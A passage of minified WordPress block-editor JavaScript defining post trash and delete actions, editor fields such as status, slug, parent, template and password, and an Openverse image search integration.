trash."):1===t.size?(0,fs.sprintf)((0,fs.__)("An error occurred while moving the item to the trash: %s"),[...t][0]):(0,fs.sprintf)((0,fs.__)("Some errors occurred while moving the items to the trash: %s"),[...t].join(","))}r(e,{type:"snackbar"})}s&&s(e),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,children:(0,fs._x)("Trash","verb")})]})]})}},Ci=ki,Pi={id:"permanently-delete",label:(0,fs.__)("Permanently delete"),supportsBulk:!0,icon:yi,isEligible(e){if(sn(e)||"wp_block"===e.type)return!1;const{status:t,permissions:s}=e;return"trash"===t&&s?.delete},hideModalHeader:!0,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=>{const[o,n]=(0,u.useState)(!1),{createSuccessNotice:i,createErrorNotice:r}=(0,c.useDispatch)(_s.store),{deleteEntityRecord:a}=(0,c.useDispatch)(d.store);return(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"5",children:[(0,L.jsx)(Uo.__experimentalText,{children:e.length>1?(0,fs.sprintf)((0,fs._n)("Are you sure you want to permanently delete %d item?","Are you sure you want to permanently delete %d items?",e.length),e.length):(0,fs.sprintf)((0,fs.__)('Are you sure you want to permanently delete "%s"?'),(0,Lo.decodeEntities)(on(e[0])))}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{variant:"tertiary",onClick:t,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{variant:"primary",onClick:async()=>{n(!0);const o=await Promise.allSettled(e.map((e=>a("postType",e.type,e.id,{force:!0},{throwOnError:!0}))));if(o.every((({status:e})=>"fulfilled"===e))){let t;t=1===o.length?(0,fs.sprintf)((0,fs.__)('"%s" permanently deleted.'),on(e[0])):(0,fs.__)("The items were permanently deleted."),i(t,{type:"snackbar",id:"permanently-delete-post-action"}),s?.(e)}else{let e;if(1===o.length){const t=o[0];e=t.reason?.message?t.reason.message:(0,fs.__)("An error occurred while permanently deleting the item.")}else{const t=new Set,s=o.filter((({status:e})=>"rejected"===e));for(const e of s){const s=e;s.reason?.message&&t.add(s.reason.message)}e=0===t.size?(0,fs.__)("An error occurred while permanently deleting the items."):1===t.size?(0,fs.sprintf)((0,fs.__)("An error occurred while permanently deleting the items: %s"),[...t][0]):(0,fs.sprintf)((0,fs.__)("Some errors occurred while permanently deleting the items: %s"),[...t].join(","))}r(e,{type:"snackbar"})}n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)("Delete permanently")})]})]})}},ji=Pi,Ei=window.wp.mediaUtils,Ti=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M5 11.25h14v1.5H5z"})}),Bi={id:"featured_media",type:"media",label:(0,fs.__)("Featured Image"),Edit:({data:e,field:t,onChange:s})=>{const{id:o}=t,n=t.getValue({item:e}),i=(0,c.useSelect)((e=>{const{getEntityRecord:t}=e(d.store);return t("root","media",n)}),[n]),r=(0,u.useCallback)((e=>s({[o]:e})),[o,s]),a=i?.source_url,l=i?.title?.rendered,p=(0,u.useRef)(null);return(0,L.jsx)("fieldset",{className:"fields-controls__featured-image",children:(0,L.jsx)("div",{className:"fields-controls__featured-image-container",children:(0,L.jsx)(Ei.MediaUpload,{onSelect:e=>{r(e.id)},allowedTypes:["image"],render:({open:e})=>(0,L.jsx)("div",{ref:p,role:"button",tabIndex:-1,onClick:()=>{e()},onKeyDown:e,children:(0,L.jsxs)(Uo.__experimentalGrid,{rowGap:0,columnGap:8,templateColumns:"24px 1fr 24px",children:[a&&(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("img",{className:"fields-controls__featured-image-image",alt:"",width:24,height:24,src:a}),(0,L.jsx)("span",{className:"fields-controls__featured-image-title",children:l})]}),!a&&(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("span",{className:"fields-controls__featured-image-placeholder",style:{width:"24px",height:"24px"}}),(0,L.jsx)("span",{className:"fields-controls__featured-image-title",children:(0,fs.__)("Choose an image…")})]}),a&&(0,L.jsx)(L.Fragment,{children:(0,L.jsx)(Uo.Button,{size:"small",className:"fields-controls__featured-image-remove-button",icon:Ti,onClick:e=>{e.stopPropagation(),r(0)}})})]})})})})})},render:({item:e})=>{const t=e.featured_media,s=(0,c.useSelect)((e=>{const{getEntityRecord:s}=e(d.store);return t?s("root","media",t):null}),[t]),o=s?.source_url;return o?(0,L.jsx)("img",{className:"fields-controls__featured-image-image",src:o,alt:""}):(0,L.jsx)("span",{className:"fields-controls__featured-image-placeholder"})},enableSorting:!1},Ii=Bi;function Ni(e){var t,s,o="";if("string"==typeof e||"number"==typeof e)o+=e;else if("object"==typeof e)if(Array.isArray(e)){var n=e.length;for(t=0;t<n;t++)e[t]&&(s=Ni(e[t]))&&(o&&(o+=" "),o+=s)}else for(s in e)e[s]&&(o&&(o+=" "),o+=s);return o}const Di=function(){for(var e,t,s=0,o="",n=arguments.length;s<n;s++)(e=arguments[s])&&(t=Ni(e))&&(o&&(o+=" "),o+=t);return o},Ai=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",d:"M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",clipRule:"evenodd"})});const Ri=function({item:e}){const{text:t,imageUrl:s}=(0,c.useSelect)((t=>{const{getEntityRecord:s}=t(d.store);let o;return e.author&&(o=s("root","user",e.author)),{imageUrl:o?.avatar_urls?.[48],text:o?.name}}),[e]),[o,n]=(0,u.useState)(!1);return(0,L.jsxs)(Uo.__experimentalHStack,{alignment:"left",spacing:0,children:[!!s&&(0,L.jsx)("div",{className:Di("page-templates-author-field__avatar",{"is-loaded":o}),children:(0,L.jsx)("img",{onLoad:()=>n(!0),alt:(0,fs.__)("Author avatar"),src:s})}),!s&&(0,L.jsx)("div",{className:"page-templates-author-field__icon",children:(0,L.jsx)(Uo.Icon,{icon:Ai})}),(0,L.jsx)("span",{className:"page-templates-author-field__name",children:t})]})},Mi={label:(0,fs.__)("Author"),id:"author",type:"integer",elements:[],render:Ri,sort:(e,t,s)=>{const o=e._embedded?.author?.[0]?.name||"",n=t._embedded?.author?.[0]?.name||"";return"asc"===s?o.localeCompare(n):n.localeCompare(o)}},Li=Mi,Oi=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z"})}),Fi=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z"})}),Vi=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z"})}),zi=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z"})}),Ui=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z"})}),Hi=[{value:"draft",label:(0,fs.__)("Draft"),icon:Oi,description:(0,fs.__)("Not ready to publish.")},{value:"future",label:(0,fs.__)("Scheduled"),icon:Fi,description:(0,fs.__)("Publish automatically on a chosen date.")},{value:"pending",label:(0,fs.__)("Pending Review"),icon:Vi,description:(0,fs.__)("Waiting for review before publishing.")},{value:"private",label:(0,fs.__)("Private"),icon:zi,description:(0,fs.__)("Only visible to site admins and editors.")},{value:"publish",label:(0,fs.__)("Published"),icon:Ui,description:(0,fs.__)("Visible to everyone.")},{value:"trash",label:(0,fs.__)("Trash"),icon:yi}];const Gi=function({item:e}){const t=Hi.find((({value:t})=>t===e.status)),s=t?.label||e.status,o=t?.icon;return(0,L.jsxs)(Uo.__experimentalHStack,{alignment:"left",spacing:0,children:[o&&(0,L.jsx)("div",{className:"edit-site-post-list__status-icon",children:(0,L.jsx)(Uo.Icon,{icon:o})}),(0,L.jsx)("span",{children:s})]})},$i={label:(0,fs.__)("Status"),id:"status",type:"text",elements:Hi,render:Gi,Edit:"radio",enableSorting:!1,filterBy:{operators:["isAny"]}},Wi=e=>(0,x.dateI18n)((0,x.getSettings)().formats.datetimeAbbreviated,(0,x.getDate)(e)),Zi=({item:e})=>{var t,s,o,n;var i;if(["draft","private"].includes(null!==(t=e.status)&&void 0!==t?t:""))return(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)("<span>Modified: <time>%s</time></span>"),Wi(null!==(i=e.date)&&void 0!==i?i:null)),{span:(0,L.jsx)("span",{}),time:(0,L.jsx)("time",{})});var r;if("future"===e.status)return(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)("<span>Scheduled: <time>%s</time></span>"),Wi(null!==(r=e.date)&&void 0!==r?r:null)),{span:(0,L.jsx)("span",{}),time:(0,L.jsx)("time",{})});var a;if("publish"===e.status)return(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)("<span>Published: <time>%s</time></span>"),Wi(null!==(a=e.date)&&void 0!==a?a:null)),{span:(0,L.jsx)("span",{}),time:(0,L.jsx)("time",{})});const l=(0,x.getDate)(null!==(s=e.modified)&&void 0!==s?s:null)>(0,x.getDate)(null!==(o=e.date)&&void 0!==o?o:null)?e.modified:e.date;return"pending"===e.status?(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)("<span>Modified: <time>%s</time></span>"),Wi(null!=l?l:null)),{span:(0,L.jsx)("span",{}),time:(0,L.jsx)("time",{})}):(0,L.jsx)("time",{children:Wi(null!==(n=e.date)&&void 0!==n?n:null)})},Yi={id:"date",type:"datetime",label:(0,fs.__)("Date"),render:Zi},Ki=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z"})}),qi=e=>"object"!=typeof e?"":e.slug||(0,v.cleanForSlug)(on(e))||e.id.toString(),Qi=({field:e,onChange:t,data:s})=>{const{id:o}=e,n=e.getValue({item:s})||qi(s),i=s.permalink_template||"",r=/%(?:postname|pagename)%/,[a,l]=i.split(r),d=a,m=l,h=r.test(i),g=(0,u.useRef)(n),_=n||g.current,f=h?`${d}${_}${m}`:(0,v.safeDecodeURIComponent)(s.link||"");(0,u.useEffect)((()=>{n&&void 0===g.current&&(g.current=n)}),[n]);const b=(0,u.useCallback)((e=>t({[o]:e})),[o,t]),{createNotice:y}=(0,c.useDispatch)(_s.store),x=(0,p.useCopyToClipboard)(f,(()=>{y("info",(0,fs.__)("Copied Permalink to clipboard."),{isDismissible:!0,type:"snackbar"})})),S="editor-post-url__slug-description-"+(0,p.useInstanceId)(Qi);return(0,L.jsxs)("fieldset",{className:"fields-controls__slug",children:[h&&(0,L.jsxs)(Uo.__experimentalVStack,{children:[(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"0px",children:[(0,L.jsx)("span",{children:(0,fs.__)("Customize the last part of the Permalink.")}),(0,L.jsx)(Uo.ExternalLink,{href:"https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink",children:(0,fs.__)("Learn more")})]}),(0,L.jsx)(Uo.__experimentalInputControl,{__next40pxDefaultSize:!0,prefix:(0,L.jsx)(Uo.__experimentalInputControlPrefixWrapper,{children:"/"}),suffix:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,icon:Ki,ref:x,label:(0,fs.__)("Copy")}),label:(0,fs.__)("Link"),hideLabelFromVision:!0,value:n,autoComplete:"off",spellCheck:"false",type:"text",className:"fields-controls__slug-input",onChange:e=>{b(e)},onBlur:()=>{""===n&&b(g.current)},"aria-describedby":S}),(0,L.jsxs)("div",{className:"fields-controls__slug-help",children:[(0,L.jsx)("span",{className:"fields-controls__slug-help-visual-label",children:(0,fs.__)("Permalink:")}),(0,L.jsxs)(Uo.ExternalLink,{className:"fields-controls__slug-help-link",href:f,children:[(0,L.jsx)("span",{className:"fields-controls__slug-help-prefix",children:d}),(0,L.jsx)("span",{className:"fields-controls__slug-help-slug",children:_}),(0,L.jsx)("span",{className:"fields-controls__slug-help-suffix",children:m})]})]})]}),!h&&(0,L.jsx)(Uo.ExternalLink,{className:"fields-controls__slug-help",href:f,children:f})]})},Xi=Qi,Ji=({item:e})=>{const t=qi(e),s=(0,u.useRef)(t);(0,u.useEffect)((()=>{t&&void 0===s.current&&(s.current=t)}),[t]);return`${t||s.current}`},er={id:"slug",type:"text",label:(0,fs.__)("Slug"),Edit:Xi,render:Ji};var tr=s(9681),sr=s.n(tr);function or(e){return"object"==typeof e.title&&"rendered"in e.title&&e.title.rendered?(0,Lo.decodeEntities)(e.title.rendered):`#${e?.id} (${(0,fs.__)("no title")})`}const nr=(e,t)=>{const s=sr()(e||"").toLowerCase(),o=sr()(t||"").toLowerCase();return s===o?0:s.startsWith(o)?s.length:1/0};function ir({data:e,onChangeControl:t}){const[s,o]=(0,u.useState)(null),n=e.parent,i=e.id,r=e.type,{parentPostTitle:a,pageItems:l,isHierarchical:m}=(0,c.useSelect)((e=>{const{getEntityRecord:t,getEntityRecords:o,getPostType:a}=e(d.store),l=a(r),c=l?.hierarchical&&l.viewable,u=n?t("postType",r,n):null,p={per_page:100,exclude:i,parent_exclude:i,orderby:"menu_order",order:"asc",_fields:"id,title,parent",...null!==s&&{search:s}};return{isHierarchical:c,parentPostTitle:u?or(u):"",pageItems:c?o("postType",r,p):null}}),[s,n,i,r]),h=(0,u.useMemo)((()=>{const e=(t,o=0)=>{const n=t.map((t=>[{value:t.id,label:"— ".repeat(o)+(0,Lo.decodeEntities)(t.name),rawName:t.name},...e(t.children||[],o+1)])).sort((([e],[t])=>nr(e.rawName,null!=s?s:"")>=nr(t.rawName,null!=s?s:"")?1:-1));return n.flat()};if(!l)return[];let t=l.map((e=>{var t;return{id:e.id,parent:null!==(t=e.parent)&&void 0!==t?t:null,name:or(e)}}));s||(t=function(e){const t=e.map((e=>({children:[],...e})));if(t.some((({parent:e})=>null==e)))return t;const s=t.reduce(((e,t)=>{const{parent:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),o=e=>e.map((e=>{const t=s[e.id];return{...e,children:t&&t.length?o(t):[]}}));return o(s[0]||[])}(t));const o=e(t),i=o.find((e=>e.value===n));return n&&a&&!i&&o.unshift({value:n,label:a,rawName:""}),o.map((e=>({...e,value:e.value.toString()})))}),[l,s,a,n]);if(!m)return null;return(0,L.jsx)(Uo.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)("Parent"),help:(0,fs.__)("Choose a parent page."),value:n?.toString(),options:h,onFilterValueChange:(0,p.debounce)((e=>{o(e)}),300),onChange:e=>{var s;if(e)return t(null!==(s=parseInt(e,10))&&void 0!==s?s:0);t(0)},hideLabelFromVision:!0})}const rr={id:"parent",type:"text",label:(0,fs.__)("Parent"),Edit:({data:e,field:t,onChange:s})=>{const{id:o}=t,n=(0,c.useSelect)((e=>e(d.store).getEntityRecord("root","__unstableBase")?.home),[]),i=(0,u.useCallback)((e=>s({[o]:e})),[o,s]);return(0,L.jsx)("fieldset",{className:"fields-controls__parent",children:(0,L.jsxs)("div",{children:[(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)('Child pages inherit characteristics from their parent, such as URL structure. For instance, if "Pricing" is a child of "Services", its URL would be %1$s<wbr />/services<wbr />/pricing.'),(0,v.filterURLForDisplay)(n).replace(/([/.])/g,"<wbr />$1")),{wbr:(0,L.jsx)("wbr",{})}),(0,L.jsx)("p",{children:(0,u.createInterpolateElement)((0,fs.__)("They also show up as sub-items in the default navigation menu. <a>Learn more.</a>"),{a:(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)("https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes"),children:void 0})})}),(0,L.jsx)(ir,{data:e,onChangeControl:i})]})})},render:({item:e})=>{const t=(0,c.useSelect)((t=>{const{getEntityRecord:s}=t(d.store);return e?.parent?s("postType",e.type,e.parent):null}),[e.parent,e.type]);return t?(0,L.jsx)(L.Fragment,{children:or(t)}):(0,L.jsx)(L.Fragment,{children:(0,fs.__)("None")})},enableSorting:!0},ar={id:"comment_status",label:(0,fs.__)("Discussion"),type:"text",Edit:"radio",enableSorting:!1,filterBy:{operators:[]},elements:[{value:"open",label:(0,fs.__)("Open"),description:(0,fs.__)("Visitors can add new comments and replies.")},{value:"closed",label:(0,fs.__)("Closed"),description:(0,fs.__)("Visitors cannot add new comments or replies. Existing comments remain visible.")}]},lr=[],cr={id:"template",type:"text",label:(0,fs.__)("Template"),Edit:({data:e,field:t,onChange:s})=>{const{id:o}=t,n=e.type,i="number"==typeof e.id?e.id:parseInt(e.id,10),r=e.slug,{canSwitchTemplate:a,templates:l}=(0,c.useSelect)((e=>{var t;const s=null!==(t=e(d.store).getEntityRecords("postType","wp_template",{per_page:-1,post_type:n}))&&void 0!==t?t:lr,{getHomePage:o,getPostsPageId:r}=dn(e(d.store)),a=r()===+i,l="page"===n&&o()?.postId===+i;return{templates:s,canSwitchTemplate:!a&&!l}}),[i,n]),m=(0,u.useMemo)((()=>a?l.filter((t=>t.is_custom&&t.slug!==e.template&&!!t.content.raw)).map((e=>({name:e.slug,blocks:(0,y.parse)(e.content.raw),title:(0,Lo.decodeEntities)(e.title.rendered),id:e.id}))):[]),[a,e.template,l]),g=(0,p.useAsyncList)(m),_=t.getValue({item:e}),f=l.find((e=>e.slug===_)),b=(0,c.useSelect)((e=>{if(f)return f;let t;if(t=r?"page"===n?`${n}-${r}`:`single-${n}-${r}`:"page"===n?"page":`single-${n}`,n){const s=e(d.store).getDefaultTemplateId({slug:t});return e(d.store).getEntityRecord("postType","wp_template",s)}}),[f,n,r]),[x,v]=(0,u.useState)(!1),S=(0,u.useCallback)((e=>s({[o]:e})),[o,s]);return(0,L.jsxs)("fieldset",{className:"fields-controls__template",children:[(0,L.jsx)(Uo.Dropdown,{popoverProps:{placement:"bottom-start"},renderToggle:({onToggle:e})=>(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",size:"compact",onClick:e,children:b?on(b):""}),renderContent:({onToggle:e})=>(0,L.jsxs)(Uo.MenuGroup,{children:[(0,L.jsx)(Uo.MenuItem,{onClick:()=>{v(!0),e()},children:(0,fs.__)("Change template")}),""!==_&&(0,L.jsx)(Uo.MenuItem,{onClick:()=>{S(""),e()},children:(0,fs.__)("Use default template")})]})}),x&&(0,L.jsx)(Uo.Modal,{title:(0,fs.__)("Choose a template"),onRequestClose:()=>v(!1),overlayClassName:"fields-controls__template-modal",isFullScreen:!0,children:(0,L.jsx)("div",{className:"fields-controls__template-content",children:(0,L.jsx)(h.__experimentalBlockPatternsList,{label:(0,fs.__)("Templates"),blockPatterns:m,shownPatterns:g,onClickPattern:e=>{S(e.name),v(!1)}})})})]})},enableSorting:!1},dr=cr;const ur={id:"password",type:"text",Edit:function({data:e,onChange:t,field:s}){const[o,n]=(0,u.useState)(!!s.getValue({item:e}));return(0,L.jsxs)(Uo.__experimentalVStack,{as:"fieldset",spacing:4,className:"fields-controls__password",children:[(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)("Password protected"),help:(0,fs.__)("Only visible to those who know the password"),checked:o,onChange:e=>{n(e),e||t({password:""})}}),o&&(0,L.jsx)("div",{className:"fields-controls__password-input",children:(0,L.jsx)(Uo.TextControl,{label:(0,fs.__)("Password"),onChange:e=>t({password:e}),value:s.getValue({item:e})||"",placeholder:(0,fs.__)("Use a secure password"),type:"text",__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,maxLength:255})})]})},enableSorting:!1,enableHiding:!1,isVisible:e=>"private"!==e.status};function pr({item:e,className:t,children:s}){const o=on(e);return(0,L.jsxs)(Uo.__experimentalHStack,{className:Di("fields-field__title",t),alignment:"center",justify:"flex-start",children:[(0,L.jsx)("span",{children:o||(0,fs.__)("(no title)")}),s]})}function mr({item:e}){return(0,L.jsx)(pr,{item:e})}const{Badge:hr}=dn(Uo.privateApis);const gr={type:"text",id:"title",label:(0,fs.__)("Title"),placeholder:(0,fs.__)("No title"),getValue:({item:e})=>on(e),render:function({item:e}){const{frontPageId:t,postsPageId:s}=(0,c.useSelect)((e=>{const{getEntityRecord:t}=e(d.store),s=t("root","site");return{frontPageId:s?.page_on_front,postsPageId:s?.page_for_posts}}),[]);return(0,L.jsx)(pr,{item:e,className:"fields-field__page-title",children:[t,s].includes(e.id)&&(0,L.jsx)(hr,{children:e.id===t?(0,fs.__)("Homepage"):(0,fs.__)("Posts Page")})})},enableHiding:!1,enableGlobalSearch:!0},_r={type:"text",label:(0,fs.__)("Template"),placeholder:(0,fs.__)("No title"),id:"title",getValue:({item:e})=>on(e),render:mr,enableHiding:!1,enableGlobalSearch:!0};const fr=(0,u.forwardRef)((function({icon:e,size:t=24,...s},o){return(0,u.cloneElement)(e,{width:t,height:t,...s,ref:o})})),br=(0,L.jsx)(M.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z"})}),{PATTERN_TYPES:yr}=dn(ln.privateApis);const xr={type:"text",id:"title",label:(0,fs.__)("Title"),placeholder:(0,fs.__)("No title"),getValue:({item:e})=>on(e),render:function({item:e}){return(0,L.jsx)(pr,{item:e,className:"fields-field__pattern-title",children:e.type===yr.theme&&(0,L.jsx)(Uo.Tooltip,{placement:"top",text:(0,fs.__)("This pattern cannot be edited."),children:(0,L.jsx)(fr,{icon:br,size:24})})})},enableHiding:!1,enableGlobalSearch:!0},vr={type:"text",id:"title",label:(0,fs.__)("Title"),placeholder:(0,fs.__)("No title"),getValue:({item:e})=>on(e),render:mr,enableHiding:!1,enableGlobalSearch:!0};const Sr=(0,p.createHigherOrderComponent)((e=>({useSubRegistry:t=!0,...s})=>{const o=(0,c.useRegistry)(),[n]=(0,u.useState)((()=>new WeakMap)),i=function(e,t,s){if(!s)return t;let o=e.get(t);return o||(o=(0,c.createRegistry)({"core/block-editor":h.storeConfig},t),o.registerStore("core/editor",Dc),e.set(t,o)),o}(n,o,t);return i===o?(0,L.jsx)(e,{registry:o,...s}):(0,L.jsx)(c.RegistryProvider,{value:i,children:(0,L.jsx)(e,{registry:i,...s})})}),"withRegistryProvider"),wr=(e,t)=>`<a ${kr(e)}>${t}</a>`,kr=e=>`href="${e}" target="_blank" rel="noreferrer noopener"`,Cr=e=>{const{title:t,foreign_landing_url:s,creator:o,creator_url:n,license:i,license_version:r,license_url:a}=e,l=((e,t)=>{let s=e.trim();return"pdm"!==e&&(s=e.toUpperCase().replace("SAMPLING","Sampling")),t&&(s+=` ${t}`),["pdm","cc0"].includes(e)||(s=`CC ${s}`),s})(i,r),c=(0,Lo.decodeEntities)(o);let d;return d=c?t?(0,fs.sprintf)((0,fs._x)('"%1$s" by %2$s/ %3$s',"caption"),wr(s,(0,Lo.decodeEntities)(t)),n?wr(n,c):c,a?wr(`${a}?ref=openverse`,l):l):(0,fs.sprintf)((0,fs._x)("<a %1$s>Work</a> by %2$s/ %3$s","caption"),kr(s),n?wr(n,c):c,a?wr(`${a}?ref=openverse`,l):l):t?(0,fs.sprintf)((0,fs._x)('"%1$s"/ %2$s',"caption"),wr(s,(0,Lo.decodeEntities)(t)),a?wr(`${a}?ref=openverse`,l):l):(0,fs.sprintf)((0,fs._x)("<a %1$s>Work</a>/ %2$s","caption"),kr(s),a?wr(`${a}?ref=openverse`,l):l),d.replace(/\s{2}/g," ")},Pr=async(e={})=>(await(0,c.resolveSelect)(d.store).getMediaItems({...e,orderBy:e?.search?"relevance":"date"})).map((e=>({...e,alt:e.alt_text,url:e.source_url,previewUrl:e.media_details?.sizes?.medium?.source_url,caption:e.caption?.raw}))),jr=[{name:"images",labels:{name:(0,fs.__)("Images"),search_items:(0,fs.__)("Search images")},mediaType:"image",fetch:async(e={})=>Pr({...e,media_type:"image"})},{name:"videos",labels:{name:(0,fs.__)("Videos"),search_items:(0,fs.__)("Search videos")},mediaType:"video",fetch:async(e={})=>Pr({...e,media_type:"video"})},{name:"audio",labels:{name:(0,fs.__)("Audio"),search_items:(0,fs.__)("Search audio")},mediaType:"audio",fetch:async(e={})=>Pr({...e,media_type:"audio"})},{name:"openverse",labels:{name:(0,fs.__)("Openverse"),search_items:(0,fs.__)("Search Openverse")},mediaType:"image",async fetch(e={}){const t={...e,mature:!1,excluded_source:"flickr,inaturalist,wikimedia",license:"pdm,cc0"},s={per_page:"page_size",search:"q"},o=new URL("https://api.openverse.org/v1/images/");Object.entries(t).forEach((([e,t])=>{const n=s[e]||e;o.searchParams.set(n,t)}));const n=await window.fetch(o,{headers:{"User-Agent":"WordPress/inserter-media-fetch"}});return(await n.json()).results.map((e=>({...e,title:e.title?.toLowerCase().startsWith("file:")?e.title.slice(5):e.title,sourceId:e.id,id:void 0,caption:Cr(e),previewUrl:e.thumbnail})))},getReportUrl:({sourceId:e})=>`https://wordpress.org/openverse/image/${e}/report/`,isExternalResource:!0}],Er={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};let Tr;const Br=new Uint8Array(16);function Ir(){if(!Tr&&(Tr="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!Tr))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return Tr(Br)}const Nr=[];for(let e=0;e<256;++e)Nr.push((e+256).toString(16).slice(1));function Dr(e,t=0){return Nr[e[t+0]]+Nr[e[t+1]]+Nr[e[t+2]]+Nr[e[t+3]]+"-"+Nr[e[t+4]]+Nr[e[t+5]]+"-"+Nr[e[t+6]]+Nr[e[t+7]]+"-"+Nr[e[t+8]]+Nr[e[t+9]]+"-"+Nr[e[t+10]]+Nr[e[t+11]]+Nr[e[t+12]]+Nr[e[t+13]]+Nr[e[t+14]]+Nr[e[t+15]]}const Ar=function(e,t,s){if(Er.randomUUID&&!t&&!e)return Er.randomUUID();const o=(e=e||{}).random||(e.rng||Ir)();if(o[6]=15&o[6]|64,o[8]=63&o[8]|128,t){s=s||0;for(let e=0;e<16;++e)t[s+e]=o[e];return t}return Dr(o)},Rr=()=>{};function Mr({additionalData:e={},allowedTypes:t,filesList:s,maxUploadFileSize:o,onError:n=Rr,onFileChange:i,onSuccess:r,multiple:a=!0}){const{getCurrentPost:l,getEditorSettings:d}=(0,c.select)(Ac),{lockPostAutosaving:u,unlockPostAutosaving:p,lockPostSaving:m,unlockPostSaving:h}=(0,c.dispatch)(Ac),g=d().allowedMimeTypes,_=`image-upload-${Ar()}`;let f=!1;o=o||d().maxUploadFileSize;const b=l(),y="number"==typeof 